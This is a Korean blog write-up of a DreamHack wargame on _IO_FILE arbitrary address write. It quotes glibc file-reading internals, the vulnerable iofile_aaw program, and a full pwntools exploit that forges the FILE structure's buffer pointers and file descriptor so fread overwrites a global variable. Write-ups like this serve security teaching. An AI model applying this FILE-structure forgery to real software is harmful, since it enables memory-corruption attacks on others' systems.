Recent Posts
Recent Comments
Link
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage6_문제풀이(_IO_FILE Arbitrary Address Write) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage6_문제풀이(_IO_FILE Arbitrary Address Write)

CIDY 2022. 7. 15. 01:34

파일 읽기 함수에는 fread, fgets같은 친구들이 있다. -> 라이브러리 내부에서 _IO_file_xsgetn함수를 호출함

 

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  _IO_size_t want, have;
  _IO_ssize_t count;
  _char *s = data;
  want = n;
    ...
	  /* If we now want less than a buffer, underflow and repeat
	     the copy.  Otherwise, _IO_SYSREAD directly to
	     the user buffer. */
	  if (fp->_IO_buf_base
	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
	    {
	      if (__underflow (fp) == EOF)
		break;
	      continue;
	    }
	...
}

 

이게 그 함수인데, (_IO_file_xsgetn함수..) 인자로 전달된 n이 _IO_buf_end - _IO_buf_base값보다 작은지 검사하고, __underflow == _IO_new_file_underflow함수를 호출한다. 

 

int _IO_new_file_underflow (FILE *fp)
{
  ssize_t count;
  if (fp->_flags & _IO_NO_READS)           
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
   ...
   count = _IO_SYSREAD (fp, fp->_IO_buf_base,     
	fp->_IO_buf_end - fp->_IO_buf_base);
}

 

이게 _IO_new_file_underflow인데, _flags변수에 읽기 권한이 부여됐는지 확인하고 -> _IO_SYSREAD함수 인자로 파일 포인터와 파일 구조체 멤버 변수를 연산한 값이 전달된다. 

 

#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)

 

이게 그 매크로(_IO_SYSREAD)인데,  _IO_file_read함수이다. 

 

_IO_file_read함수 내부에서는 read시스템 콜을 이용해 파일 데이터를 읽는데, 그 시스템 콜 인자로 뭐가 전달되냐면 -> _fileno(파일 디스크립터), _IO_buf_base == buf, _IO_buf_end - _IO_buf_base 의 결과인 size변수가 전달된다. 

 

read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);

 

전달 인자를 파일 구조체로 표현하면 이러하다.

 

_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
  return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
	  ? __read_nocancel (fp->_fileno, buf, size)
	  : __read (fp->_fileno, buf, size));
}

 

_IO_file_read함수이다.

 

아무튼 이번에 공격할 코드는

 

// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie 
// 64-bit, canary, nx, partial relro

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
int overwrite_me;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
	FILE *fp;
	fp = fopen("/home/iofile_aaw/flag", "r");
	fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);

	write(1, flag_buf, sizeof(flag_buf));
	fclose(fp);
}

int main() {
  FILE *fp;

  char file_buf[1024];

  init();

  fp = fopen("/etc/issue", "r");

  printf("Data: ");

  read(0, fp, 300);

  fread(file_buf, 1, sizeof(file_buf)-1, fp);

  printf("%s", file_buf);

  if( overwrite_me == 0xDEADBEEF) 
  	read_flag();

  fclose(fp);
}

 

데드비프만 오버라이트 해 주면 되는 코드이다. 파일 구조체를 잘 조작해보자.

 

_IO_buf_end 랑 _IO_buf_base를 조작해야 한다. 

 

read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);

 

파일 내용을 읽어올 때 위와 같은 코드가 실행된다. _IO_buf_base에 overwrite_me주소를 주고, _IO_buf_end를 베이스보다 읽어올 값 이상으로 차이가 나도록 해줘야 한다. _IO_new_file_underflow코드 내에서 _IO_buf_end - _IO_buf_base 값이 fread함수의 인자로 전달된 읽을 크기보다 커야하기 때문이다.

 

그리고 파일 디스크립터(== fileno)를 0으로 맞춰주면 된다.

 

from pwn import *

p = remote("host3.dreamhack.games", 17234)
#p = process("./iofile_aaw")
e = ELF("./iofile_aaw")

overwrite_me = e.sym['overwrite_me']

pay = p64(0xfbad2488)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(overwrite_me) #_IO_buf_base
pay += p64(overwrite_me + 1024) #_IO_buf_end
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)

p.send(pay)
p.send(p64(0xDEADBEEF) + b"\x00" * 1024)
p.interactive()

 

참고로 1024거나 그보다 큰 값이어야 하는 이유는 _IO_new_file_underflow코드 안에서 end와 base의 차가 fread함수 인자로 전달될 읽을 크기 (== flag_buf크기) 보다 같거나 커야하기 때문이다.

 

투머치..